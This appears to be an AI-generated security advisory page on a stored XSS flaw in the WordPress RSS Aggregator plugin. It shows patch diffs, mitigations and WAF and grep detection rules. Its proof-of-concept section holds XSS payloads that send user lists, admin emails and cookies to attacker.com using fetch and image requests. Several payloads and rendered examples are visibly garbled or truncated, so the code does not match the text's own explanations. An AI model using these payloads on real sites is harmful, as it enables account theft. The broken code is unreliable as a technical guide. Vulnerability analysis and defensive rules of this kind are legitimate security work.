← back to articles
view analysis
SECURITY ADVISORY / 01

CVE-2025-14745 Exploit & Vulnerability Analysis

Complete CVE-2025-14745 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:wp-rss-aggregator NVD ↗
Exploit PoC Vulnerability Patch Analysis

Now I'll create a comprehensive security analysis article based on the vulnerability details and code changes provided.

Security Analysis: CVE-2025-14745 - RSS Aggregator Stored XSS Vulnerability

1. Vulnerability Background

What is this Vulnerability?

CVE-2025-14745 is a Stored Cross-Site Scripting (XSS) vulnerability in the RSS Aggregator plugin for WordPress. The vulnerability exists in the plugin's shortcode rendering mechanism, where user-supplied attributes are processed without proper input sanitization and output escaping.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and allows attackers to inject arbitrary JavaScript code that persists in the WordPress database and executes whenever users access pages containing the malicious shortcode.

Why is it Critical?

Severity: High

  1. Stored Nature: Unlike reflected XSS, the malicious payload is stored in the database, affecting all users who view the compromised page
  2. Privilege Escalation Vector: Authenticated attackers with contributor-level access can execute this attack, creating a path for privilege escalation or lateral movement
  3. Widespread Impact: RSS feed display plugins are commonly used across many WordPress installations
  4. Session Hijacking: Injected scripts can steal session cookies, authentication tokens, and sensitive user data
  5. Admin Account Compromise: Contributors can inject code that targets administrators, potentially leading to complete site compromise

Affected Systems and Versions

  • Plugin: RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging
  • Affected Versions: All versions up to and including 5.0.10
  • Attack Vector: Network-based, requires authentication (Contributor level or above)
  • User Interaction: Required (user must access a page containing the malicious shortcode)

2. Technical Details

Root Cause Analysis

The vulnerability stems from a fundamental failure to implement proper output escaping in the display layer of the plugin. Specifically:

  1. Insufficient Output Escaping: User-controlled data from shortcode attributes and feed display settings was directly interpolated into HTML/JavaScript contexts without using appropriate WordPress sanitization functions
  2. Multiple Injection Points: The vulnerability exists across multiple rendering functions, indicating a systemic problem in how the plugin handles untrusted data
  3. Context-Specific Escaping Missing: Different output contexts (HTML content, HTML attributes, JavaScript) require different escaping strategies, and the original code failed to apply context-appropriate escaping

Vulnerable Code Locations

Location 1: LayoutTrait.php (Author Prefix)

File: core/src/Display/LayoutTrait.php | Lines: 134

Old Code (Vulnerable):

rtrim( $this->ds->authorPrefix ) . ' ' . $authorName

New Code (Fixed):

esc_html( rtrim( $this->ds->authorPrefix ) . ' ' . $authorName )

Attack Vector: An attacker with contributor access could control $this->ds->authorPrefix through plugin settings, injecting HTML/JavaScript:

// Malicious payload example:
$authorPrefix = '"><script>alert("XSS")</script><span class="';

When rendered in a <span> tag, this breaks the attribute context and injects executable JavaScript.

Location 2: LayoutTrait.php (Source Prefix)

File: core/src/Display/LayoutTrait.php | Lines: 210-220

Old Code (Vulnerable):

$tag = $block ? 'div' : 'span';

return <<<HTML
            <{$tag} class="feed-source">
                {$this->ds->sourcePrefix} {$srcName}
            </{$tag}>
         HTML;

New Code (Fixed):

$tag = $block ? 'div' : 'span';
$prefix = esc_html( $this->ds->sourcePrefix );

// $srcName is already HTML from renderLink, so it doesn't need escaping again.
// If linking is disabled, $srcName is just the source name string, which needs escaping.
if ( ! ( $this->ds->linkSource && $links && ! empty( $url ) ) ) {
    $srcName = esc_html( $srcName );
}

return <<<HTML
            <{$tag} class="feed-source">
                {$prefix} {$srcName}
            </{$tag}>
         HTML;

Attack Vector: The $this->ds->sourcePrefix and $srcName variables could contain malicious payloads:

// Attack payload:
$sourcePrefix = '<img src=x

The fix introduces:

  1. Mandatory HTML escaping for sourcePrefix via esc_html()
  2. Conditional escaping for srcName to preserve HTML markup from renderLink() while escaping plain text sources
Location 3: ListLayout.php (HTML Class Attribute)

File: core/src/Display/ListLayout.php | Lines: 36-40, 48-51

Old Code (Vulnerable):

// Container div
return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">

// List item
return <<<HTML
            <li class="wpra-item feed-item {$this->ds->htmlClass}">

New Code (Fixed):

// Container div
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$htmlClass}">

// List item
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <li class="wpra-item feed-item {$htmlClass}">

Attack Vector: The htmlClass attribute allows breaking out of the class context via quote injection:

// Malicious payload:
$htmlClass = '" class="foo';

This renders as:

<div class="wp-rss-aggregator wpra-list-template " class="foo">

The injected onmouseover event fires when users hover over the div.

Security Improvements Introduced

| Issue | Original Behavior | Fixed Behavior | |-------|-------------------|----------------| | HTML Content Escaping | Direct interpolation of sourcePrefix and authorPrefix | Applied esc_html() to escape special characters (<, >, &, ", ') | | HTML Attribute Escaping | Unescaped class attributes vulnerable to quote injection | Applied esc_attr() to properly escape attribute values | | Context Awareness | Single escaping function or no escaping | Appropriate function per context (HTML vs attributes) | | Data Flow Tracking | No distinction between safe and unsafe data | Conditional escaping based on data origin (renderLink vs plain text) |

3. Proof of Concept (PoC) Guide

Prerequisites for Exploitation

  1. WordPress Installation running the RSS Aggregator plugin (versions ≤ 5.0.10)
  2. Contributor-level Account or higher (Author, Editor, or Administrator)
  3. Access to Plugin Settings where shortcode attributes can be configured
  4. Target Page containing the [wp-rss-aggregator] shortcode

Step-by-Step Exploitation Approach

Attack Scenario 1: Author Prefix XSS

Step 1: Log in to WordPress with a Contributor account

Step 2: Navigate to RSS Aggregator plugin settings

Step 3: Locate the "Author Prefix" field and inject the payload:

"><script>fetch('/wp-json/wp/v2/users').then(r=>r.json()).then(d=>{new Image().src='http://attacker.com/log?users='+btoa(JSON.stringify(d))})</script><span class="

Step 4: Create or edit a post containing the [wp-rss-aggregator] shortcode

Step 5: When any user (including administrators) views the page, the JavaScript executes and exfiltrates user data to the attacker's server

Attack Scenario 2: HTML Class Injection

Step 1: Access plugin settings with Contributor privileges

Step 2: Configure a custom CSS class in the "HTML Class" field:

" JSON.stringify({cookies: document.cookie, localStorage: localStorage}))" class="

Step 3: The shortcode renders with the injected event handler:

<div class="wp-rss-aggregator wpra-list-template " class="">

Step 4: When users click anywhere on the feed display, their session data is sent to the attacker

Attack Scenario 3: Source Prefix Payload

Step 1: Modify feed source settings to inject in the "Source Prefix" field:

<img src=x
const xhttp = new XMLHttpRequest();
xhttp.open('GET', '/wp-json/wp/v2/users/1', false);
xhttp.send();
const admin = JSON.parse(xhttp.responseText);
fetch('http://attacker.com/admin?user='+admin.username+'&email='+admin.email);
">

Step 2: When feeds are displayed, the image fails to load (src=x), triggering the onerror handler

Step 3: The handler extracts admin user information and sends it to the attacker

Expected Behavior vs Exploited Behavior

| Aspect | Expected | Exploited | |--------|----------|-----------| | HTML Rendering | Text displays safely, special characters shown as-is | JavaScript executes in user's browser | | Network Requests | Only legitimate feed fetches occur | Unauthorized API calls to exfiltrate data | | User Interaction | Display only, no unexpected actions | Session hijacking, account compromise | | Page Source | Clean HTML with escaped content | Malicious script tags and event handlers visible |

How to Verify the Vulnerability Exists

Manual Verification:

  1. Access the plugin settings page
  2. Inject test payload in Author Prefix field:
"><script>window.xssTestVariable = true;</script><span class="
  1. Create a post with the shortcode
  2. View the post and inspect browser console
  3. If window.xssTestVariable is defined, XSS is confirmed

Automated Detection:

## Search for vulnerable unescaped output patterns
grep -r '\$this->ds->' core/src/Display/ | grep -v 'esc_'

## Check if esc_html or esc_attr are applied
grep -A2 -B2 'class.*\$this->ds->htmlClass' core/src/Display/

4. Recommendations

Mitigation Strategies

For Site Administrators (Immediate)

  1. Update the Plugin: Upgrade to version 5.0.11 or later immediately

    # Via WordPress Admin Dashboard:
# Plugins > Updates > Select RSS Aggregator > Update Now

  2. Restrict Contributor Access: Limit contributor-level accounts to only trusted users

    Dashboard > Users > Edit Contributor Roles
Remove custom post type capabilities from contributors if not needed

  3. Audit Recent Changes: Review post revisions and plugin settings for injected code

    Dashboard > Tools > Site Health > Check for suspicious post content

  4. Implement Content Security Policy (CSP):

    // Add to wp-config.php or security plugin
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

  5. Enable WordPress Security Logging: Monitor plugin activation and settings changes

    define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
For Plugin Developers (Prevention)

  1. Apply Context-Specific Output Escaping:

    // HTML content context
echo esc_html($user_data);

// HTML attribute context
echo esc_attr($user_data);

// URL context
echo esc_url($user_data);

// JavaScript context
echo wp_json_encode($user_data);

  2. Sanitize Input on Save:

    $sanitized = sanitize_text_field($_POST['author_prefix']);
update_option('rss_author_prefix', $sanitized);

  3. Use Prepared Statements for database operations:

    $wpdb->prepare("SELECT * FROM posts WHERE author = %d", $author_id);

  4. Validate Shortcode Attributes:

    $defaults = array(
    'author_prefix' => '',
    'class' => '',
    'limit' => 10,
);

$atts = shortcode_atts($defaults, $atts, 'wp_rss_aggregator');

// Sanitize
$atts['class'] = sanitize_html_class($atts['class']);
$atts['author_prefix'] = sanitize_text_field($atts['author_prefix']);

Detection Methods

Log-Based Detection:

## Search WordPress error logs for script injection attempts
grep -i '<script>' wp-content/debug.log

## Monitor database for suspicious post content
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' 
AND post_date > DATE_SUB(NOW(), INTERVAL 7 DAY);

Web Application Firewall (WAF) Rules:

## Block requests containing script tags in POST parameters
ModSecurity SecRule ARGS "@contains <script>" "id:1001,deny"

## Block event handler attributes in plugin settings
ModSecurity SecRule ARGS "@rx (?:on\w+\s*=)" "id:1002,deny"

SIEM Alerts:

  • Monitor for unusual API requests from the frontend context
  • Alert on failed authentication attempts following plugin updates
  • Track database queries from low-privilege users accessing user data

Best Practices to Prevent Similar Issues

  1. Use WordPress Security APIs Consistently:

    • sanitize_*() functions for input validation
    • esc_*() functions for output escaping
    • wp_verify_nonce() for CSRF protection

  2. Implement Security Headers:

    // Prevent clickjacking
header('X-Frame-Options: SAMEORIGIN');

// Disable MIME-type sniffing
header('X-Content-Type-Options: nosniff');

// Enable XSS protection
header('X-XSS-Protection: 1; mode=block');

  3. Code Review Checklist:

    • [ ] All user input is sanitized before storage
    • [ ] All output is escaped based on context
    • [ ] No eval() or dynamic code execution
    • [ ] NONCE tokens protect sensitive actions
    • [ ] Database queries use prepared statements
    • [ ] File uploads are validated
    • [ ] No sensitive data in client-side code

  4. Security Testing:

    • Implement automated XSS scanning in CI/CD pipeline
    • Use tools like Burp Suite or OWASP ZAP for security testing
    • Conduct regular penetration testing
    • Maintain dependency vulnerability scanning

  5. Architectural Recommendations:

    • Separate data validation from presentation logic
    • Use a templating engine that escapes by default
    • Implement principle of least privilege for plugin permissions
    • Use security headers to provide defense-in-depth

Summary

CVE-2025-14745 represents a critical vulnerability in the RSS Aggregator plugin that allows authenticated attackers to inject arbitrary JavaScript through multiple injection points. The root cause is insufficient output escaping in display rendering functions. The fix systematically applies context-appropriate WordPress escaping functions (esc_html() and esc_attr()) to all user-controlled data before output.

Site administrators must update to version 5.0.11+ immediately, while plugin developers should adopt the security best practices outlined above to prevent similar vulnerabilities in their own code.

Frequently asked questions about CVE-2025-14745

What is CVE-2025-14745?

CVE-2025-14745 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-14745?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-14745. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-14745 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-14745?

CVE-2025-14745 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-14745?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-14745?

The severity rating and CVSS scoring for CVE-2025-14745 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.